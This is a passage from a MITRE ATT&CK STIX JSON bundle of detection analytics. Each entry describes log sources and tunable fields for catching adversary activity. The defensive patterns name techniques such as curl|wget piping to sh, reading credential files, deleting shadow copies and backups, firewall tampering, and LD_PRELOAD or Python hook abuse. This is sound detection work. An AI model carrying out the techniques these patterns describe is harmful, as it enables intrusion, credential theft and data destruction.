                    "description": "Correlate registry change with nearby process/service execution within a defined timeframe"
                },
                {
                    "field": "SignatureCheck",
                    "description": "Flag unsigned executables or abnormal parent-child lineage performing registry modification"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--de93de79-3f24-4022-9b03-7228ffacca6f",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0845#AN1977",
                    "external_id": "AN1977"
                },
                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1977",
            "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\nConsider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f",
                    "name": "Malware Repository",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3",
                    "name": "Malware Repository",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--dea5f6cc-d3bb-404b-8aab-f7366988a96e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0566#AN1564",
                    "external_id": "AN1564"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1564",
            "description": "Detection of Office or document viewer processes (e.g., winword.exe) initiating network connections to remote templates or executing scripts due to manipulated template references (e.g., embedded in .docx, .rtf, or .dotm files), followed by suspicious child process creation (e.g., PowerShell).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TemplateURLPatterns",
                    "description": "Can be tuned to flag known bad domains or external resources in template fields."
                },
                {
                    "field": "ParentProcess",
                    "description": "May be environment-specific; typically Word, Excel, PowerPoint."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window for process + network activity."
                },
                {
                    "field": "ChildProcessAnomalyThreshold",
                    "description": "Trigger when document-spawned child process deviates from expected profile."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--deb57305-6324-404d-a9d0-00aa0c285920",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0348#AN0990",
                    "external_id": "AN0990"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0990",
            "description": "Detects unauthorized applications or scripts accessing sensitive data followed by establishing encrypted outbound communication to rare external destinations or with abnormal byte ratios.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "eventMessage = 'open', 'sendto', 'connect'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "macos:osquery",
                    "channel": "socket_events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process_events"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcessAncestry",
                    "description": "Enables defenders to tune legitimate vs. suspicious lineage (e.g., launchd \u2192 curl is uncommon)."
                },
                {
                    "field": "ProtocolList",
                    "description": "Focus detection on unusual protocols (e.g., IRC, FTP, DNS over HTTPS)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--decb2be7-1a0a-46dd-ab48-cf6258c0185e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0329#AN0933",
                    "external_id": "AN0933"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0933",
            "description": "Process chains that use native utilities (vssadmin, wbadmin, diskshadow, bcdedit, REAgentC, wmic) with arguments to delete shadow copies, disable recovery, or remove backup catalogs",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8",
                    "name": "WinEventLog:Microsoft-Windows-Backup",
                    "channel": "Windows Backup Catalog deletion or catalog corruption"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
                    "name": "WinEventLog:System",
                    "channel": "Service stopped or RecoveryDisabled set via REAgentC"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Used to track rapid recovery feature changes over short intervals"
                },
                {
                    "field": "CommandLinePattern",
                    "description": "Can be tuned to catch variations in destructive flags (/all, /quiet, -delete)"
                },
                {
                    "field": "ParentProcessContext",
                    "description": "Tune based on common parent-child chains (e.g., powershell \u2192 diskshadow)"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--df0f8f0a-1e92-415d-b15e-63cea928973a",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0145#AN0406",
                    "external_id": "AN0406"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0406",
            "description": "Detection of firewall tampering by monitoring processes executing netsh, PowerShell Set-NetFirewallProfile, or sc stop mpssvc. Registry modifications under HKLM\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy also indicate adversarial actions.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredCommands",
                    "description": "List of admin tools and scripts allowed to legitimately modify firewall settings."
                },
                {
                    "field": "AlertThreshold",
                    "description": "Number of firewall rule changes within a time window before triggering alert."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--df289d0f-0f31-487e-b213-9a492d903f2c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0307#AN0858",
                    "external_id": "AN0858"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0858",
            "description": "Terminal-based grep or open of plist/config files containing credentials, correlated with Keychain or system login attempts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "grep/cat on files matching credential patterns"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:unifiedlog",
                    "channel": "open/read of *.plist or .env files"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "azure:signinlogs",
                    "channel": "Unusual Token Usage or Application Consent"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "APIQueryVolume",
                    "description": "Set thresholds for excessive use of 'users.list' or recursive group enumerations."
                },
                {
                    "field": "UserContext",
                    "description": "Flag non-admin or previously unseen user agents requesting directory information."
                },
                {
                    "field": "AppSource",
                    "description": "Distinguish between sanctioned sync tools and unauthorized scripts or OAuth tokens."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
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            "description": "User or desktop application writes a new file to ~/Downloads, /tmp, or mounted removable media followed by execve of a risky interpreter/loader (bash, sh, python, perl, php, node, curl|wget piping to sh, ld.so, rdesktop, xdg-open - with unusual args). Uses auditd PATH+SYSCALL (open/creat/write/rename) with execve event linking.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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                    "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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            ],
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                {
                    "field": "TimeWindow",
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                    "field": "DesktopParentMap",
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            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                "enterprise-attack"
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                "Identity Provider"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
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                    "field": "PrivilegedRoles",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
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                    "field": "BrowserCredentialFiles",
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                    "field": "AllowedDebuggers",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                {
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
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                }
            ],
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                    "field": "UserContext",
                    "description": "Tune to exclude authorized admin users or domain controllers accessing SYSVOL"
                },
                {
                    "field": "TimeWindow",
                    "description": "Adjust for correlation timing between file access and script execution"
                },
                {
                    "field": "KnownToolsSignature",
                    "description": "Extend to include known GPP parsing tool names or script hashes"
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                {
                    "field": "HostType",
                    "description": "Distinguish between expected access from DCs vs. lateral movement from workstations"
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            ],
            "x_mitre_deprecated": false
        },
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                    "source_name": "mitre-attack",
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            "name": "Analytic 0898",
            "description": "ESXi host processes (vmx, hostd) initiating HTTPS sessions toward external code repositories. Defender perspective: detect datastore reads followed by outbound web traffic inconsistent with administrative baselines.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "enterprise-attack"
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                "ESXi"
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                    "name": "esxi:vmkernel",
                    "channel": "HTTPS traffic to repository domains"
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            ],
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                {
                    "field": "DatastoreTransferThreshold",
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            "x_mitre_deprecated": false
        },
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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            ],
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                    "field": "ThirdPartyUsers",
                    "description": "POSIX accounts assigned to vendors/partners."
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                    "field": "AllowedJumpHosts",
                    "description": "Bastion hosts permitted for third-party access."
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                {
                    "field": "MFAExpected",
                    "description": "Flag indicating whether PAM/MFA should be present; used to score risk."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "Detection of USB-based remote access hardware (e.g., TinyPilot, PiKVM) attached to the host via drive or peripheral enumeration, triggering vendor identifiers or unusual EDID announcements.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "name": "WinEventLog:System",
                    "channel": "EventCode=2003"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "VendorID",
                    "description": "Device vendor strings may need tuning to include additional remote hardware sources."
                },
                {
                    "field": "SerialNumber",
                    "description": "Serial numbers for known implants can vary per campaign and may need expansion."
                },
                {
                    "field": "TimeWindow",
                    "description": "Adjust the detection window for peripheral enumeration based on environment and operating hours."
                }
            ]
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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            "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
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        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0610",
            "description": "Adversary manipulation of shared library paths, environment variables, or replacement of service binaries. Defender observes suspicious modifications in /etc/ld.so.preload, service config changes, or file writes replacing existing executables.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
            ],
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                    "channel": "open/write syscalls targeting /etc/ld.so.preload or binaries in /usr/bin"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
                    "name": "linux:syslog",
                    "channel": "Service restart with modified executable path"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:osquery",
                    "channel": "Process execution with LD_PRELOAD or modified library path"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredDirectories",
                    "description": "Directories where binary replacement should trigger alerts."
                },
                {
                    "field": "EnvVarMonitors",
                    "description": "Environment variables like LD_PRELOAD or PATH to monitor."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--e246212e-aca3-489d-a2d9-7e24f7c3516c",
            "created": "2025-10-21T15:10:28.402Z",
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0442",
            "description": "Monitor for unauthorized or unusual modifications to cloud resource hierarchies such as AWS Organizations or Azure Management Groups. Defenders may observe anomalous calls to APIs like `LeaveOrganization`, `CreateAccount`, `MoveAccount`, or Azure subscription transfers. Correlate account activity with administrative role assignments, tenant transfers, or new subscription creation that deviates from organizational baselines. Multi-event correlation should track role elevation followed by hierarchy modifications within a short time window.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
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            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d",
                    "name": "esxi:hostd",
                    "channel": "snapshot.removeall or snapshot file deletion"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TargetVMNames",
                    "description": "Limit to critical VM names to reduce false positives"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                {
                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0713",
            "description": "Defender observes unauthorized modification or creation of Python hook files such as `.pth`, `sitecustomize.py`, or `usercustomize.py` in Python `site-packages`, `dist-packages`, or user paths. This is often correlated with subsequent unexpected interpreter execution (e.g., python3 running without user interaction), changes in interpreter behavior (e.g., malicious imports), and outbound connections initiated from Python. Defender links write/modify actions on hook files with execve of python process and/or anomalous child process or network activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: execve where exe=/usr/bin/python3 or similar interpreter"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "auditd:CONFIG_CHANGE",
                    "channel": "chmod or chown of hook files indicating privilege escalation or execution permission change"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "http::request: Outbound HTTP initiated by Python interpreter"
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                {
                    "field": "HookFilePathPatterns",
                    "description": "Absolute or regex paths to Python startup files (.pth, customize.py); vary by distro or virtual environment location"
                },
                {
                    "field": "UserContext",
                    "description": "Restrict alerts to non-root users, service accounts, or interactive shell sessions"
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate file modification and Python execution within short time span (default: 2\u20135 minutes)"
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                {
                    "field": "InterpreterWhitelist",
                    "description": "Filter out known legitimate Python executions tied to expected cron jobs or automation"
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            "x_mitre_deprecated": false
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                {
                    "source_name": "mitre-attack",
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                    "external_id": "AN0375"
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            "name": "Analytic 0375",
            "description": "Detection of the creation of VSCode or JetBrains CLI tunneling profiles followed by persistent remote access via IDE-integrated tunnels, potentially authenticated via GitHub or JetBrains accounts.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "channel": "EventCode=1"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
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                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms"
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                    "field": "TimeWindow",
                    "description": "Used to define the temporal proximity between tunnel profile creation and outbound connection."
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                {
                    "field": "TunnelDomainPatterns",
                    "description": "Domain patterns for tunnel endpoints may change with IDE versions or organizations."
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                {
                    "field": "AuthorizedUserList",
                    "description": "Helps filter tunnel usage from trusted developer accounts."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0452",
            "description": "Monitor PAM and syslog entries for unusual frequency of login attempts that trigger MFA prompts, particularly when MFA challenges do not match expected user behavior.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "auditd:AUTH",
                    "channel": "pam_unix or pam_google_authenticator invoked repeatedly within short interval"
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            ],
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                {
                    "field": "AuthRetryThreshold",
                    "description": "Number of retries per user allowed before detection is triggered"
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            ],
            "x_mitre_deprecated": false
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        {
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0420#AN1184",
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            "name": "Analytic 1184",
            "description": "API usage or filesystem access revealing user state or browser artifacts (e.g., Safari bookmarks, CGEventState).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of input detection APIs (e.g., CGEventSourceKeyState)"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "macos:unifiedlog",
                    "channel": "Access to ~/Library/Safari/Bookmarks.plist or recent files"
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                {
                    "field": "TimeWindow",
                    "description": "Temporal correlation between login and file access"
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                {
                    "field": "UserContext",
                    "description": "Exclude expected UI activity from login agents"
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                    "source_name": "mitre-attack",
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            "name": "Analytic 1175",
            "description": "Detect execution of system utilities (systemctl, systemd-inhibit, systemdsleep) modifying sleep or hibernate behavior. Abnormal edits to system configuration files (e.g., /etc/systemd/sleep.conf) should be correlated with process execution to identify persistence techniques.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "auditd:PATH",
                    "channel": "write: File modifications to /etc/systemd/sleep.conf or related power configuration files"
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                {
                    "field": "KnownMaintenanceWindows",
                    "description": "Filter benign modifications during patching or system maintenance intervals."
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            ],
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                    "external_id": "AN0242"
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            "name": "Analytic 0242",
            "description": "Defender detects execution of `mdfind`, `launchctl`, or GUI-based enumeration (e.g., `/Applications/Time Machine.app`) along with command-line usage of `find`, `grep`, or `system_profiler` to identify installed backup tools like Time Machine, Carbon Copy Cloner, or Backblaze. Often triggered from Terminal sessions or within post-exploitation scripts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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                "macOS"
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                    "name": "macos:unifiedlog",
                    "channel": "Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list"
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                {
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                    "channel": "Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/"
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                {
                    "field": "InstallLocationScope",
                    "description": "Directories or bundles where backup tools are commonly installed"
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                {
                    "field": "KnownAppPlistPaths",
                    "description": "Plist files related to backup software configurations"
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0355",
            "description": "Adversary renames LOLBINs or deploys binaries with spoofed file names, internal PE metadata, or misleading icons to appear legitimate. File creation is followed by execution or service registration inconsistent with known usage.",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "EventCode=1"
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                    "name": "WinEventLog:System",
                    "channel": "EventCode=7045"
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                    "field": "OriginalFilenameMismatch",
                    "description": "Compare executable file name with PE metadata OriginalFilename field"
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                {
                    "field": "KnownSystemUtilityPaths",
                    "description": "Tune based on expected installation directories for signed binaries"
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                {
                    "field": "TimeWindow",
                    "description": "Correlation window between file creation and service/process execution"
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            "name": "Analytic 0862",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Windows"
            ],
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
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                    "channel": "EventCode=7"
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                    "channel": "EventCode=11"
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                    "channel": "EventCode=13, 14"
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                    "channel": "EventCode=3, 22"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
                    "channel": "Unsigned or invalid image for newly installed/updated binaries"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlate write\u2192first-run\u2192egress (default 90 minutes)."
                },
                {
                    "field": "ApprovedUpdateHosts",
                    "description": "Allow-list of vendor update endpoints, enterprise proxy/cache."
                },
                {
                    "field": "ApprovedSigners",
                    "description": "Code-signing publishers allowed for programs/services."
                },
                {
                    "field": "ProgramPaths",
                    "description": "Monitored install locations (e.g., C:\\Program Files, C:\\ProgramData, %LOCALAPPDATA%)."
                }
            ]
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            "created": "2025-10-21T15:10:28.402Z",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN1262"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1262",
            "description": "Multiple failed authentication attempts using distinct username/password pairs from a single IP address or session within a short time window, targeting common services like RDP or SMB",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
